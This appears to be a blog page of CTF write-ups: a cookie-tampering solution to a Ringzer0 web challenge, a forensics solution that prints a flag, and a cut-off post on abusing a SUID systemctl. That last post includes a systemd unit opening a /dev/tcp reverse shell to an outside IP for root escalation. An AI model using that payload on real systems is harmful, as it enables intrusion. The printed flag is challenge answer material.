Ringzer0 CTF – Web - Words mean something?


Ringzer0 CTF – Web  - Words mean something?

Objective:
Find that flag yo

Just a bunch of what looks like Latin


Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam commodo risus lobortis diam molestie, varius vestibulum lacus condimentum. Phasellus fringilla, leo at ornare tristique, est elit lobortis dolor, a placerat tortor eros nec elit. Suspendisse feugiat, enim ac hendrerit malesuada, libero lectus rutrum tellus, ut faucibus sem odio non nunc. Vestibulum dignissim magna et felis laoreet viverra. Integer sodales tellus molestie suscipit feugiat. Praesent quis elit tristique nisl laoreet elementum eu nec felis. Fusce nunc enim, rhoncus at metus sed, accumsan accumsan augue. Nunc venenatis tempor mi sit amet tempus. Maecenas luctus lacus mi, id pretium magna feugiat eu. Aenean euismod ante at neque rhoncus, eget dapibus nisi lacinia. Aenean vulputate risus id velit interdum vulputate. Mauris id rhoncus dolor.
Solution:

So my first thought was that text looks like it might really say something. The word lengths change in what looks like it could be a paragraph, and there is punctuation also.

Lets try to translate that from Latin to English

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Specials smile carton diameter television, various manufacturing pool sauce. Ecological boat, the lion sad but football is the developer emerging companies, from real estate sales, and peanut soup. Stress eu, the Bureau as expected, free makeup graduated region, such as throat salad hate it now. Great power and by felis laoreet adipiscing vestibulum dignissim. Eu members of an entire region receives television. Present any developer sad iaculis element football or football. Clinical now for CNN but fears but, layer layer propaganda. Now sterilized, my time is very tight. The lakes of mourning for my dear Maecenas, that the price of a great feugiat eu. Performance in front of jasmine or tomato sauce, but need protein skirt. Aenean id velit interdum vulputate vulputate risus. Mauris id porttitor amet.


That’s a bunch of gibberish, but that Lorem Ipsum bit is ringing some bells..

I googled just lorem Ipsum and it turns out it is commonly used as a place holder text to just fill space to see how the element might appear visually.
So I don’t think the text here has anything to do with the flag

Let’s check out the source code

<div class="challenge-wrapper">
<br />
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam commodo risus lobortis diam molestie, varius vestibulum lacus condimentum. Phasellus fringilla, leo at ornare tristique, est elit lobortis dolor, a placerat tortor eros nec elit. Suspendisse feugiat, enim ac hendrerit malesuada, libero lectus rutrum tellus, ut faucibus sem odio non nunc. Vestibulum dignissim magna et felis laoreet viverra. Integer sodales tellus molestie suscipit feugiat. Praesent quis elit tristique nisl laoreet elementum eu nec felis. Fusce nunc enim, rhoncus at metus sed, accumsan accumsan augue. Nunc venenatis tempor mi sit amet tempus. Maecenas luctus lacus mi, id pretium magna feugiat eu. Aenean euismod ante at neque rhoncus, eget dapibus nisi lacinia. Aenean vulputate risus id velit interdum vulputate. Mauris id rhoncus dolor. <br />
<br />
</div>

Nothing there either.

Let’s fire up cookie editor to see if there are any cookies the site is using.

There are two cookies being used one is the session ID and another called Flag




 Flag has a value of 0 set, lets change it to one and reload the page






Yay flag time

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The
